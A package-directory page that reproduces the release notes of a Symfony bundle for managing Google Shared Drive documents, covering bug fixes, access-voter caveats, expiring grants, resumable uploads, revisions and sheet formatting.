Weave Code
Weaver
Helps Laravel developers discover, compare, and choose open-source packages. See popularity, security, maintainers, and scores at a glance to make better decisions.
Feedback
Share your thoughts, report bugs, or suggest improvements.
Subject
Message

Google Drive Docs Bundle Laravel Package

borsche/google-drive-docs-bundle

A Symfony bundle that turns a Google Shared Drive into a document workspace inside your own app. Users browse folders, create and edit real Google Sheets/Docs, and manage access, while documents stay in Google and editors render in an embedded iframe.

View on GitHub
Deep Wiki
Context7
v1.1.7

Fixed

  • The weekly live run reported success without running. Three scheduled runs in a row came back green with the live smoke test's own step skipped: the credentials check found no secrets and, on a schedule, said so in a warning and exited zero. That exemption was meant for a fork which never opted in, and it was written against the event instead of against the repository, so it covered the one run that matters here. A canary that passes without measuring spends the trust of a green tick and returns nothing, which is worse than having no canary. It now fails on this repository when a credential is missing, and keeps the warning for anybody else's fork.
  • The same check read one of the four credentials and spoke for all of them, so a run with three configured looked configured. It names whichever are missing.

Changed

  • The live test records how long each eventually-consistent index took, instead of only whether it caught up in time. The changes feed ran out of its 40-second budget twice in CI having passed locally, and nothing in the run said whether the others had two seconds to spare or thirty. Measuring it answered the question the failure had raised: CI is not slower — the feed caught up in 5 seconds there and 5 seconds locally, and the run that failed had gone past 40. The budget is 100 seconds now, and the reason is the spread rather than the average. The waits are printed at the end of every run, so this stays measured.
  • .gitattributes, so an installation stops downloading the test suite. The dist archive was 940 KB, of which 480 KB was tests/, tools/ and .github/ — more than half of every installation was material only useful to someone working on the bundle. It is 460 KB now. The documentation stays: README and UPGRADE are what gets read when a version bumps.
v1.0.9

One line of configuration, measured before and after. Worth taking if any controller holds DriveDocumentService on routes that do not always call Drive.

The Google client is built lazily

Authenticating asks Google for an access token, and that happened while the client was being constructed. So every request to a controller holding DriveDocumentService paid for a token whether it called Drive or not — a controller with five actions where two use Drive spent it on the other three.

Measured in a compiled container:

lazy eager
fetching DriveDocumentService 1.9 ms 242.9 ms
what Drive receives a proxy, not yet initialised the client
the first call that reaches Google 719 ms 458 ms

Read the last row. This defers the token request, it does not remove it: the first call that actually reaches Drive pays for it, so a request that does use Drive is no faster. What changes is that a request which never touches Drive stops paying at all.

Checked against the live API, not assumed

Proxying a stateful client is the kind of change that looks fine and breaks somewhere specific, so it was run through the paths where it could plausibly break — beside a plain client, for comparison:

lazy proxy plain client
export() csv 10 bytes 10 bytes
export() xlsx 5041 bytes 5041 bytes
exportRevision() via authorize() 10 bytes 10 bytes
resumable upload, 5.25 MB sizes match —
getConfig('retry') intact —

Byte-identical, and the initializer runs exactly once across the whole sequence — the access token is fetched once and reused, which is the thing to worry about with a stateful client.

The client is the right thing to defer and Drive is not. Google\Service's constructor only type-checks its argument, so it accepts the proxy without waking it, and the client has no public properties — every access goes through a method, which is what a virtual proxy forwards. Drive exposes its resources as twenty-two public properties, and those would defeat the same trick.

One note for anyone reading the container: the flag only takes effect in a compiled container, which is what an application has. A raw ContainerBuilder resolves lazy services eagerly, so the bundle's test asserts the definition rather than the instance.

Fixed

The live test's changes-feed check kept a shorter wait of its own than the two checks beside it, and went off on a slow day. Drive's feed lags the way its other indexes do, so it waits the way they do now — a flaky check in a suite meant to be trusted is worse than no check.

Upgrading from 1.0.x: ^1.0 picks this up on its own; no API changed. 467 tests, PHPStan level 6 clean over src and tools, and the live run is 42 checks, 0 failures.

v1.0.8

Documentation only, but take it if you have written — or were about to write — your own voter. The advice this README gave produced a policy that was silently not applied.

Adding a second voter for the DRIVE_* attributes does not make the policy stricter

The README invited applications to write their own voter and said nothing about how, so the natural reading — add one — is the one that does not work. Symfony's default decision strategy is affirmative: one granting voter is enough. A stricter voter of yours votes DENY, this bundle's votes GRANT, and access is allowed.

Measured against Symfony's own AccessDecisionManager rather than recalled:

voters strategy outcome
bundle grants, yours denies affirmative allowed
yours denies, bundle grants (order flipped) affirmative allowed
bundle grants, yours denies unanimous refused

The registration order makes no difference. What works is replacing the service definition so that one voter votes on those attributes — the README now shows that, with a worked example, and explains why switching the whole application to unanimous is the wider change rather than the narrow fix.

The example was run before being written down. The obvious advice is to subclass DriveVoter and override voteOnAttribute(), and it does not compile: that class is final. It extends Symfony's Voter and reuses the public attribute constants instead.

seesEverything() grants all four attributes, including DRIVE_DELETE

This was stated, but in a sentence easy to read past, and the name is the problem: it says sees. An auditor or a support agent who should read the whole drive is exactly the case where wiring seesEverything() to their role looks harmless — and it is a full bypass of these checks, not a visibility flag.

It now says so where the decision is made, with the alternative for read-everything-change-nothing: leave seesEverything() false and give the account reader on the drive in Google, or replace the voter so the bypass applies only to DRIVE_VIEW.

Nothing else changed

No source change, so ^1.0 picks this up on its own and there is nothing to do on upgrade. The one thing worth doing is reading the new section if you have your own voter: whether it is actually being obeyed is not something a passing test suite would have told you.

467 tests, PHPStan level 6 clean over src and tools.

v1.0.7

The live test now covers the one thing it most conspicuously did not: the authorization boundary. And the script itself is under static analysis, which is where it found something to fix.

Added

Seven checks on the authorization boundary, against real grants. DriveVoter and DriveDocumentResolver are the newest code in this bundle and the most security-critical, and the suite that exists to check what mocks cannot did not touch either of them. A unit test can say the voter reads a role correctly; only a real grant says a reader on a real drive actually gets refused an edit.

They run the bundle's voter behind Symfony's own AccessDecisionManager, against grants Drive is really holding:

  • a reader is granted DRIVE_VIEW and refused DRIVE_EDIT, DRIVE_SHARE and DRIVE_DELETE
  • a writer passes all four
  • a viewer with no grant at all is refused everything
  • seesEverything() bypasses without any grant
  • an empty subject is abstained on rather than sent to Google as the file id ""
  • a DriveDocument argument resolves from the route
  • the resolver raises AccessDeniedException for an id the viewer cannot reach, before a controller body would run — which is the whole reason to resolve the document instead of trusting the id

42 checks with SMOKE_SECOND_EMAIL configured, 30 and four skips without.

Changed

tools is in PHPStan's analysed paths, so the plain analyse the static-analysis job runs covers the live test too. A regression where the script quietly stops passing analysis can no longer be reintroduced by accident.

Two things had to go first, and the second is the interesting one:

  • the global counters an analyser cannot follow are static properties of one small class now;
  • the exit() moved out of the finally block, where it discarded whatever the body was raising.

That second one is the same mistake this script had already found in one of its own checks a few hours earlier — a finally that replaced the exception the assertions were trying to report. It was fixed in that one place without looking at the reporting plumbing built on the same pattern. Putting the script under analysis is what showed the rest of it, which is a fair argument for having done so.

Upgrading from 1.0.x: ^1.0 picks this up on its own. Nothing under src changed, so there is nothing to do. 467 tests, PHPStan level 6 clean over src and tools, and the live run is 42 checks, 0 failures.

v1.0.6

The live integration test is part of the repository now, and bringing it under static analysis found something in the library on the way.

Added

tools/smoke-test.php — the live smoke test, in the repo. The unit suite mocks Google's own classes, so it can only confirm that the bundle sends what the bundle thinks it should send. Two of the things Drive actually refuses were learned the hard way — a permissions.update with no role in the body, and an expiry a JSON null never lifted — and both shipped broken in 1.0. The script that found them was a private file on one machine, which made the one mechanism that catches what mocks cannot something nobody else could run or reproduce. That was the wrong place for it.

35 checks against a real Shared Drive: values and formatting read back from the grid, an export, a revision fetched through its export link, a resumable upload over 5 MB with a partial last chunk, the changes feed, locking, trash, and the sharing pairings Drive does and does not allow an expiry on.

GOOGLE_CLIENT_ID=... GOOGLE_CLIENT_SECRET=... GOOGLE_SHARED_DRIVE_ID=... \
GOOGLE_OAUTH_REFRESH_TOKEN=... php tools/smoke-test.php

Or keep the four in a file and point SMOKE_ENV_FILE at it; the environment still wins. SMOKE_PREFIX renames what it creates, and SMOKE_SECOND_EMAIL enables the two sharing checks that need a second Google identity — a grant cannot be made to the account that already owns the drive.

It creates and deletes real objects. Everything carries the prefix and lives in one folder, everything is erased in a finally block including after a fatal error, and the run prints what it created, what it erased, and anything it could not — that last list is the one to read.

A manual CI workflow that runs it. workflow_dispatch rather than automatic, because it writes to a real drive and spends Google quota. Without the secrets configured it says which are missing rather than failing on a stack trace.

Fixed

setAppProperties() was annotated array<string, string|int|float|bool|null>, which is not what PHP hands it: a key like "2024" arrives as the integer 2024. So a caller doing nothing wrong got a false error from their own PHPStan, on code the method handles correctly — the string casts inside it exist for exactly that case. The annotation admits array-key now, and says why.

Found by putting the live test under static analysis, which is a fair argument for having done it.

Not claimed

tools/ is not in the analysed paths. Three findings remain there — two on the finally plus exit() pattern and one on global counters the analyser cannot follow. They are artefacts of the script's style rather than defects, but removing them means rewriting its reporting, so the honest statement is that PHPStan level 6 is clean for src, which is what ships as the library.

Upgrading from 1.0.x: ^1.0 picks this up on its own; the only source change widens an annotation. 467 tests, and the live run is 35 checks, 0 failures.

v1.0.5

Documentation only — no code changed, nothing to do on upgrade. It settles the one claim in this README that rested on nothing, and moves the two things that decide whether a multi-user deployment is safe to where someone evaluating the bundle will actually meet them.

The iframe, measured

This README is built around embedding Google's own editor, and Google documents neither that an editor URL may be framed from another origin nor that it may not. So the promise now carries what was measured rather than what was hoped: a document's webViewLink, framed from a different origin over plain HTTP in Chrome, renders the full editor — the frame's load event fires and no X-Frame-Options or frame-ancestors refusal appears. /preview frames as well.

The two caveats matter more than the result, so both are in writing:

  • it rests on undocumented behaviour, so treat it as something to re-check, not a guarantee;
  • only Chrome was checked — frame one document in Safari and Firefox before building a product on it.

Worth knowing about the trap, too: docs.google.com/spreadsheets/ — the marketing root, not a document — does answer X-Frame-Options: SAMEORIGIN. A headers-only check on that URL concludes the exact opposite of what framing a real document does.

Two things to settle before a multi-user deployment

New section, above Requirements, because both were a paragraph each in the middle of a long file and skimming past them gives you a back office where every user reaches every document.

  • Visibility is opt-in. The default ViewerContextInterface is AllowAllViewerContext and it answers seesEverything(): true — right for a single-tenant back office or a CLI, wrong for anything with more than one kind of user. The bundle logs a container message while that default stands, but a line in the build log is not a safeguard.
  • The bundle reports; it does not enforce. Every call runs as the Google service user whatever the viewer holds. canAccess() answers whether they can reach the item and roleOf() what role they hold; neither refuses an operation. A viewer with reader reaching a controller that calls trash() will trash the document, because the controller let them. The #[IsGranted] example is inline, and the reasoning for shipping a voter instead of an enforce_roles switch is linked.

Upgrading from 1.0.x: ^1.0 picks this up on its own. 467 tests, PHPStan level 6 clean.

v1.0.4

Two defects in expiring grants, found by running the bundle against a real Shared Drive rather than against a mock. Take this if you use setExpiry() at all — it had never worked.

Fixed

  • setExpiry() never worked. Drive refuses a permissions.update whose body carries no role — 400, "The permission role field is required" — however little of the grant is being changed, so every call failed whatever was asked of it. The grant is read first now and its own role sent back unchanged.

    Reading the role rather than taking it from the caller is deliberate: one passed in from a stale DrivePermission would quietly change what someone may do, which is worse than a round trip on an operation this rare.

  • Lifting an expiry left it in place. setExpiry($fileId, $permissionId, null) sent a JSON null in the body, and Drive answered with the old time still on the grant — so access went on ending at a date the caller had cleared. permissions.update lifts an expiry only when asked to in the query, and that parameter is what travels now; never alongside a new expiry, which Drive would then drop again.

    1.0.2 claimed this fixed and it was not. The test behind that claim asserted the request body, which was the right instinct after the release before it, but the body was never where the answer lay. Both fixes are verified against Drive.

Two limits of Drive's own, now written down

  • On a folder, only a reader's grant may expire. A writer's or a commenter's is refused with a 403 whose reason is cannotSetExpiration, and Drive says only "Expiration dates cannot be set on this item" — the item is fine, it is the pairing it objects to. A file's grant may expire in any of the three roles. So temporary edit access to a whole folder is not something Drive offers: grant reader with an expiry, or writer on the individual files. Measured across every combination.

  • Pinning a revision works on uploaded files only. On a Google format Drive accepts the call, ignores it and answers with the revision unchanged — no error, keptForever simply stays false. The README had been recommending keepRevision() for exactly the case it does not cover; for a Sheet or a Doc, keeping a version means exporting it.

Also

The package description named the feature set of 0.2 — no revisions, no trash, no export/import, no locking, no changes feed, no table formatting. It now names what 1.0 carries.

Upgrading from 1.0.x: ^1.0 picks this up on its own; no API changed. 467 tests, PHPStan level 6 clean, and the sharing paths checked against a live Shared Drive.

v1.0.3

Housekeeping found by running PhpStorm's inspections over the whole bundle. No API change and nothing to do on upgrade — but worth taking if you use format().

Changed

  • Table formatting sends colours as colorStyle. Every plain color field on a Sheets request is deprecated in favour of its colorStyle twin, which also admits a theme colour. The field masks name the twin accordingly — a mask and the field it sets have to agree, so these had to move together or repeatCell would have quietly done nothing.

    Affects style(), borders(), conditionalFormat(), bandedRows() and tabColor(). The bundle's own API is unchanged: colours are still #RRGGBB or #RGB strings and the result on the sheet is the same.

Internal

  • The tab-title-to-sheet-id lookup that SpreadsheetService and SheetFormatter each carried a copy of moved to SheetTabIndex. The two copies had already needed the same null guard applied separately once — the kind of fix that looks done and is not.
  • Two casts that read as redundant now say why they are not: PHP turns a key like "2024" into the integer 2024, so a numerically titled tab or app-property key arrives as an int however the array is annotated.
  • The service docblocks state what the README already did — that Google\Service\Exception is passed through rather than wrapped, and only the cases the bundle can explain better get an exception of their own.

What the inspections flagged and this release deliberately did not change

Most of the remaining warnings are the IDE trusting the Google client's own [@return](https://github.com/return) annotations, which are wrong. Verified against the actual classes: getCanEdit, getTrashed, getFileId, getRemoved, Revision::getId, getKeepForever and getUpdatedRows all return null on an unset model, so the "redundant" casts guarding them are load-bearing. The unhandled Google\Service\Exception in DriveVoter is likewise deliberate: canAccess() and roleOf() absorb 403 and 404 and let everything else surface, because an outage that reads as "no access" would make every document silently disappear for every viewer.

465 tests, PHPStan level 6 clean. ^1.0 picks this up on its own.

v1.0.2

Defects in what 0.9.0 and 1.0.0 added, found by auditing them. Worth taking if you use expiring grants or revision exports.

Fixed

  • setExpiry($fileId, $permissionId, null) did not lift the expiry — it did nothing at all. The Google client drops a PHP null when it serialises a request body, so the field never left the process, and permissions.update being a PATCH, an absent field means "keep the old value". The grant went on expiring when it was meant to become permanent. The client's NULL_VALUE placeholder is what actually puts a JSON null on the wire.

    The test meant to cover this asserted the getter on the object it had just written to, which is why the omission went unnoticed. It now reads the serialised body — the only thing Drive sees.

  • A grant with an expiry could outlive it in the sharing cache. An entry was kept for the full permission_cache.ttl however soon the grant ran out, so a viewer kept their access for up to the TTL after Drive had dropped it. The entry now lives no longer than the soonest expiry among the grants it holds, and a grant already past its time is ignored even while Drive still lists it.

  • exportRevision() streamed an error page as the document. Export links are fetched through the client's own authorised HTTP client, which is built with http_errors off, so a 403 or a 5xx arrived as the revision's content. Any status of 400 or above now raises the same exception a service call would, carrying Drive's own message and reason.

  • changesSince() reported changes to the Shared Drive itself — a rename, a new restriction — as a change with an empty fileId, and cleared a cache entry under that empty key. The feed marks them with a changeType of drive and they are skipped now. That field is asked for too: an unrequested field comes back null, so the check on it was dead code leaning quietly on the empty-fileId test beside it. The two conditions are separate on purpose and each is tested on its own.

  • setExpiry() explains an inherited grant with InheritedPermissionException, as revoke() already did, instead of passing on Drive's bare 403.

  • DriveVoter abstains on an empty string as the subject instead of asking Google about the id "" and earning a 400.

One change refuses what used to be accepted

exportRevision() without a MIME type, on a revision offering several formats, now names them and refuses instead of taking whichever link Google listed first.

It sits among the fixes rather than waiting for a major release because what it replaces was an arbitrary pick from an order Google never promised — whichever link happened to be first. Nothing a caller could depend on deliberately, and quietly wrong whenever it was not the format they meant. Name the format and the call behaves as it always should have; a revision offering one format still needs no choice, and an uploaded file's revision never did.

Documentation

changesSince() is the drive's feed and is not filtered per viewer — call it from the job that keeps your application in step with Drive, never on a viewer's behalf. Also: the id fallback in DriveDocumentResolver on routes where {id} means something else, what Drive refuses to deleteRevision() (the current version of anything, and any version of a Google format), and that DRIVE_EDIT covers lock() and the application's own metadata.

Upgrading from 1.0.x: ^1.0 picks this up on its own. The only thing to check is whether you call exportRevision() without naming a format. 465 tests, PHPStan level 6 clean.

v1.0.1

A test-only fix, taken straight away because a 1.0 whose suite does not run on a PHP version it claims is not much of a promise.

DriveDocumentResolverTest collected the resolver's answer with iterator_to_array(), which only accepts a plain array from PHP 8.2 onwards — and the resolver answers with one. Six tests errored on PHP 8.1, the oldest version this bundle supports.

The bundle itself was unaffected; only its test suite was. Nothing to change on upgrade, and ^1.0 picks this up on its own.

Caught by the lowest-dependency CI job added in 0.7.1, on its first real catch.

v1.0.0

Nine releases of decisions. The point of this one is not new surface but the promise that the surface stops moving.

UPGRADE.md now covers every step from 0.1.0 and states what minor and major releases may do from here.

Removed — both promised

- $drive->delete($fileId);
+ $drive->deleteForever($fileId);   // same behaviour: gone for good
+ $drive->trash($fileId);           // probably what a UI's delete button means

delete() erased an item for good under a name that never said so. Deprecated since 0.3.0, and the CHANGELOG said it would go in 1.0.

- DriveDocumentService::MAX_UPLOAD_BYTES
+ DriveDocumentService::MULTIPART_LIMIT     // where the two upload paths part

It stopped describing the largest upload in 0.7.0, when resumable uploads removed the ceiling it named. For a limit of your own there is upload.max_bytes.

With that deprecation gone, symfony/deprecation-contracts is no longer required — it was there for that one call.

Changed — the Symfony range now matches what is tested

^6.0 || ^7.0 narrows to ^6.4 || ^7.0. CI only ever verified 6.4 and 7, and for the release that carries a compatibility promise, claiming support nothing checks is worse than admitting the range. No code changed.

Added — is_granted() on drive items

Since 0.5.0 roleOf() has reported what a viewer holds while every method still ran as the service user, and the README explained that gap in prose. This is that explanation as code:

use Borsche\GoogleDriveDocsBundle\Security\DriveVoter;

if ($this->isGranted(DriveVoter::EDIT, $document)) { /* show the buttons */ }

#[IsGranted(DriveVoter::SHARE, subject: 'document')]
public function share(DriveDocument $document): Response

DRIVE_VIEW asks whether the item is reachable; DRIVE_EDIT, DRIVE_SHARE and DRIVE_DELETE ask for writer or stronger. Install symfony/security-core and it registers itself.

There is still no enforce_roles option, and this release settles that rather than leaving it open. Which role an operation should require is genuinely arguable — Google wants organizer for some sharing changes and writer for others depending on how the drive is set up — so a matrix inside the service would be a wrong answer nobody reviews. A voter is one you can read, override and test.

Added — documents as controller arguments

#[Route('/documents/{fileId}')]
public function show(DriveDocument $document): Response

It fetches rather than trusting the id, which costs the call the controller would have made anyway and moves the access check ahead of the controller body.

Added — several Shared Drives

$other = $this->drive->forDrive($clientDriveId);

Everything else carries over: viewer context, MIME types, cache and lifetime, upload limits. One drive stays the configuration's business.

Settled rather than left open

  • listFolder() on a folder in the trash still lists its contents. Google flags the folder alone, so checking would put another Drive call on the hottest listing path to cover a case only a stale link reaches, where the viewer sees nothing new. Now stated in the method's own docblock, not only in the README.
  • A profiler panel was dropped. Google's client exposes resources as public properties rather than methods, so counting calls would mean decorating every resource class — and a half-useful panel is worse than none.

The promise

  • Patch fixes behaviour without changing a signature.
  • Minor adds: new methods, new optional arguments at the end, new config keys defaulting to what happened before. Existing calls keep working.
  • Major is the only release that removes or changes what exists, and arrives with an UPGRADE.md section saying what to do.

Two things sit just outside it, named rather than implied: a model's toArray() may gain keys in a minor release, and Google's own limits and error text are not ours to promise — which is why this bundle says when a limit is Google's and lets Google enforce it instead of mirroring a number that can go stale.

454 tests, PHPStan level 6 clean, verified against PHP 8.1–8.3, Symfony 6.4 and 7, and the lowest dependency versions composer.json allows.

v0.9.0

The last of the Drive surface before 1.0. One of these closes a gap that has been open since 0.2.0.

Noticing work done directly in Google

Sharing lives in Google, so it changes without this bundle being involved: someone adds a collaborator from the Drive UI, someone renames a folder by hand. The sharing cache noticed such things only when it expired — and the README has said so, apologetically, for seven releases.

$token = $this->drive->startPageToken();          // once, when you start watching

$changes = $this->drive->changesSince($token);    // then on a schedule

foreach ($changes as $change) {
    $change->fileId;
    $change->removed;      // deleted, or moved out of what the service user can see
    $change->document;     // the item as it stands now, or null when it is gone
}

$token = $changes->nextToken;                     // store this — the next poll starts here

Every change seen this way drops that item's cached sharing immediately. That side effect is the point; the list of changes is what makes it possible.

Three things the contract depends on:

  • Store nextToken yourself — the bundle has nowhere to keep it. Polling with a token already used replays those changes; with one never received, the gap between is lost.
  • Every page is walked before the token comes back, so it is always the end of a complete batch rather than the middle of one.
  • Google ending a list without a new token is an error here, not silence: quietly reusing the old one would replay the same changes for ever.

Push notifications (changes.watch) are deliberately not wrapped — they need a public HTTPS endpoint with a valid certificate, which belongs to the application rather than to a library.

Access that expires by itself

The difference between revoking a contractor's access and remembering to:

$this->drive->grant($id, '[email protected]', 'reader', expiresAt: new DateTimeImmutable('+30 days'));
$this->drive->setExpiry($id, $permissionId, new DateTimeImmutable('+90 days'));  // extend
$this->drive->setExpiry($id, $permissionId, null);                              // lift it

DrivePermission gained expiresAt and expires(). Google's restrictions — in the future, no more than a year ahead — are checked before the call, because a Drive 400 names neither the value nor the grant.

Locking a finished document

$this->drive->lock($id, 'Approved by finance');   // the reason Google shows the editor
$this->drive->unlock($id);

DriveDocument gained locked and lockReason. A locked item's capabilities report canEdit: false, so a UI built on capabilities since 0.3.0 greys the right buttons without being told about locking at all. New event: DocumentLockChangedEvent.

google-drive-docs:check

Answers the question nothing else here answered — is this configured right?

bin/console google-drive-docs:check

Four independent checks — credentials and who they authenticate as, the Shared Drive, what the service user may do on it, whether the root lists — so a half-working setup says which half instead of failing at the first step. Read-only throughout. It calls out the case that costs the most time: a service user added as Content manager may trash but not erase, which otherwise surfaces as a puzzling failure from deleteForever() much later.

Fixed

  • shared_drive_id is held to Google's id alphabet before it reaches a Drive query, the way item ids have been since 0.3.1. That debt was noted then and left; it was three lines.

Dropped from the plan

Comments were scheduled for this release and were dropped rather than padded in: the most speculative item in the set, and the same size as half the change polling that closes something real.

Upgrading from 0.8.0: nothing to change, this is additive. ^0.8.0 will not pick 0.9.0 up, so raise the constraint deliberately. Next stop is 1.0, which removes the long-deprecated delete() and MAX_UPLOAD_BYTES. The test suite grew from 390 to 424 cases.

v0.8.0

The trash protects against losing a file. It does nothing about a spreadsheet whose contents someone overwrote — which, for a document full of formulas, is the more likely accident. Until now nothing in the bundle did either.

Added

foreach ($this->drive->listRevisions($fileId) as $revision) {
    $revision->id;            // 'r7'
    $revision->modifiedTime;  // when this version was saved
    $revision->modifiedBy;    // who saved it
    $revision->keptForever;   // pinned against pruning?
}

$this->drive->keepRevision($fileId, 'r7');           // pin it
$this->drive->keepRevision($fileId, 'r7', false);    // release it again
$this->drive->deleteRevision($fileId, 'r3');

$old = $this->drive->exportRevision($fileId, 'r7', DriveExport::XLSX);

exportRevision() returns the same DriveExport downloads have used since 0.3.0, so its PSR-7 stream, filename and contentDisposition() already work. New events: RevisionKeptEvent, RevisionDeletedEvent.

There is no rollback, and none is pretended

Drive API v3 lists, reads, pins and deletes revisions — it cannot make an old one current again. Only the Google editor restores a version in place. So there is deliberately no restoreRevision() here: it would read as a rollback and not be one. exportRevision() hands the old content over and the application decides where it goes:

// Either keep it beside the live document…
file_put_contents($temp = tempnam(sys_get_temp_dir(), 'rev'), $old->contents());
$recovered = $this->drive->import($temp, 'Q3 report (as of 12 August)', $folderId);

// …or read the values and put them back into the live one.
$this->sheets->write($fileId, 'Q3!A1', $rows);

A Google format stores no bytes of its own, so its revisions carry export links and the MIME type chooses between them — XLSX round-trips formulas where CSV does not. An uploaded file's revision is downloaded directly.

The list can be incomplete

Google's own documentation says older revisions are omitted for files with a long history — frequently edited Sheets and Docs especially — and that the history shown in the Workspace editor may be more complete than the API's. Treat this as a recovery aid, not an audit trail. It is also why pinning exists: keepRevision() is how the version someone will want later survives the pruning, and only a limited number may be pinned per file. Deleting a revision is final — there is no trash for one.

Upgrading from 0.7.x: nothing to change, this is additive. ^0.7.0 will not pick 0.8.0 up, so raise the constraint deliberately — and note that 0.7.1 fixed uploads over 5 MB, so do not skip it if you are still on 0.7.0. The test suite grew from 375 to 390 cases.

v0.7.1

Worth upgrading if you import files larger than 5 MB. Everything here is a defect in 0.7.0, found by auditing what that release added.

Fixed

  • Resumable upload declared the wrong total when a file's stat could not be trusted. filesize() answering false — or 0, as a network mount or a stream wrapper can — sent the file down the multipart path, where the bounded read then handed the resumable fallback the size of what it had read, 5 MB, rather than the file's real size. A resumable session declares its total up front and Google measures every chunk against it, so the first chunk past 5 MB was rejected. The size now comes from the stream, by seeking to its end, and a stream that can neither stat nor seek is reported as such instead of opening a session it can never fill.
  • upload.max_bytes was skipped on that same path: with no trustworthy stat the cap was never applied at all. Both upload paths now check the bytes they actually handle, so the ceiling holds whatever the filesystem claims.
  • A resumable upload whose last chunk was the single byte 0 stalled one byte from done. The Google client asks false == $chunk, and PHP reads that one-byte string as false, so the chunk was dropped. The loop no longer leaves a single byte for the end — it swallows that byte into the chunk before it, which is what makes that one the last. Shortening a chunk instead would have sent an intermediate chunk that is not a multiple of 256 KB, the very rule chunk_bytes is validated against; every chunk but the last is now asserted to be a multiple of the granularity.
  • chunk_bytes is validated where it is configured rather than on first use, far from the cause, and capped at the new MAX_CHUNK_BYTES (64 MB) — a chunk is read into memory whole, so a gigabyte-sized one is a mistake rather than a tuning choice.
  • roleOf() no longer stops at the permissions Google embeds in a file, which are not always the whole list, so a writer grant held through a group is no longer reported as the weaker reader found inline. A boolean answer may stop at the first match; the strongest role may not.
  • SheetRange refuses a range past the edges of the grid, naming it instead of leaving a Drive 400 to explain. The bounds are Google's own and deliberately loose — 18 278 columns (A to ZZZ) and the ten million cells a spreadsheet can hold, which is also the most rows any range could name. Excel's grid, 16 384 columns and 1 048 576 rows, would have refused ranges Google accepts.
  • SpreadsheetService and SheetFormatter tolerate a spreadsheet answer without sheets, as listTabs() already did; a formatting pass against one now says the answer described no usable tab instead of "no tab called ''".

Added

  • SheetFormatter::MAX_OPERATIONS (500): a pass travels as one batchUpdate, so the call that overflows it raises an OverflowException naming itself. This ceiling is the bundle's own, not a documented Google limit — the same reasoning as MAX_PAGES and MAX_BATCH_RANGES.
  • DriveDocumentService::MAX_CHUNK_BYTES.

Changed

  • The pixel range columnWidth() and rowHeight() accept is described as this bundle's own policy, which is what it is, rather than as Google's limit.
  • README: what max_bytes: 0 means, the chunk_bytes rules, the size of a formatting pass, and that import() trusts the path it is given.

Upgrading from 0.7.0: nothing to change — these are fixes only, and ^0.7.0 picks 0.7.1 up on its own. The unstattable-stream case is now covered by a stream wrapper written for it, which closes the one gap the release checklist had listed as untestable. The test suite grew from 353 to 375 cases.

v0.7.0

Two things an integration hits early, both of which the bundle used to push back onto the application.

Added — link documents to your own records

Documents are created by the service user and identified by an opaque Drive id, so remembering which id belongs to which order was work for the caller. Drive can hold that itself:

$this->drive->setAppProperties($doc->id, ['orderId' => $order->getId()]);

$this->drive->appProperties($doc->id);                     // ['orderId' => '4711']
$this->drive->findByAppProperty('orderId', '4711');        // DriveDocument[]
$this->drive->findByAppPropertyPage('orderId', '4711');    // one page of them

That is the mapping table a lot of integrations end up keeping, removed. Four things to know:

  • Private to this application. Drive keeps appProperties per OAuth client, so nothing else looking at the same drive — another integration, the Drive UI — sees them.
  • Everything is stored as a string, which is all Drive keeps. An int comes back as its decimal text, a bool as "1" or "". The conversion happens here rather than as a silent cast later.
  • A null value removes a key, matching how Drive expresses a deletion. Keys you do not mention are left alone — every call is a merge, never a replace.
  • Not part of DriveDocument. A listing would carry them on every row for the sake of the few callers that look, so reading them is an explicit call — the same reasoning as roleOf().

Google caps a property at 124 bytes for key and value together, and 100 per item. Those limits stay enforced by Google rather than mirrored here, so a change on their side needs no release here.

Added — uploads of any size

import() no longer refuses a file over Google's 5 MB multipart ceiling. Under it the file still goes up in one request; past it the bundle switches to Drive's resumable protocol and sends the bytes in chunks, so nothing larger than one chunk is ever held in memory. Drive's own ceiling — 5 TB — is what is left.

google_drive_docs:
    upload:
        max_bytes: 0            # a ceiling of your own; 0 leaves Drive's 5 TB as the only one
        chunk_bytes: 8388608    # bytes per resumable chunk, a multiple of 256 KB

This was deliberately deferred in 0.3.0, because the protocol needs the client put into deferred mode, a chunk loop aligned to 256 KB, and mocks around MediaFileUpload that promise more confidence than they earn. It is done now, with the boundary drawn honestly in the tests: what this bundle owns is which path a size takes, that the client state is put back, the chunk-size rule and the application's cap. The byte-level protocol is Google's own code, exercised for real rather than simulated in detail.

Deferred mode is global to the client — leaving it on would turn every later call anywhere in the application into a request object instead of a result, a failure arbitrarily far from its cause. It is restored in a finally, and a test asserts that holds when the upload throws part way through.

Changed

  • A file over 5 MB is uploaded instead of rejected. UploadTooLargeException now fires only when the application set upload.max_bytes and the file exceeds it. Code catching it to tell users "too big for the integration" should either set that option or stop expecting it.
  • search() and the new property search share one query-escaping helper, so both treat a quote or a backslash in the term the same way.

Deprecated

  • DriveDocumentService::MAX_UPLOAD_BYTES — it stopped describing the largest upload and became the point where the two paths part, which MULTIPART_LIMIT now says. upload.max_bytes is the option for a limit of your own.

Added — events

DocumentPropertiesChangedEvent.

Upgrading from 0.6.0: the one thing to check is whether you catch UploadTooLargeException for files between 5 MB and whatever you actually want to allow — that exception no longer fires on its own. Everything else is additive. ^0.6.0 will not pick 0.7.0 up, so raise the constraint deliberately. The test suite grew from 326 to 353 cases.

v0.6.0

0.4.0 taught the bundle to fill a template with data. What came out was correct and raw — no bold header, no thousands separator, no column wide enough to read, nothing stopping a reader from typing over the formulas. This finishes that job.

Added — one pass, one request

format() collects a styling pass and sends it as a single spreadsheets.batchUpdate, so either all of it lands or none does:

$this->sheets->format($fileId)
    ->style('Q3!A1:D1', bold: true, background: '#DDE6EC', horizontalAlign: 'CENTER')
    ->freeze('Q3', rows: 1)
    ->borders('Q3!A1:D40', inner: true, color: '#CCCCCC')
    ->bandedRows('Q3!A2:D40')
    ->numberFormat('Q3!D2:D', '#,##0.00')
    ->conditionalFormat('Q3!D2:D', 'NUMBER_LESS', ['0'], background: '#FFD5D5', bold: true)
    ->dataValidation('Q3!C2:C', 'ONE_OF_LIST', ['New', 'Paid', 'Shipped'])
    ->basicFilter('Q3!A1:D40')
    ->protect('Q3!D2:D', description: 'Formulas')
    ->autoResizeColumns('Q3')
    ->apply();
Method Changes
style() bold, italic, fontSize, color, background, horizontalAlign, wrapped
numberFormat() a Google pattern: #,##0.00, 0%, dd.MM.yyyy
borders() lines around a block, and optionally the grid inside it
bandedRows() alternating row colours, which is what makes a long table readable
conditionalFormat() highlight by rule — negatives in red, overdue dates, a custom formula
dataValidation() constrain what may be typed; ONE_OF_LIST is the dropdown case
basicFilter() / clearBasicFilter() the filter row, so the reader can sort and filter
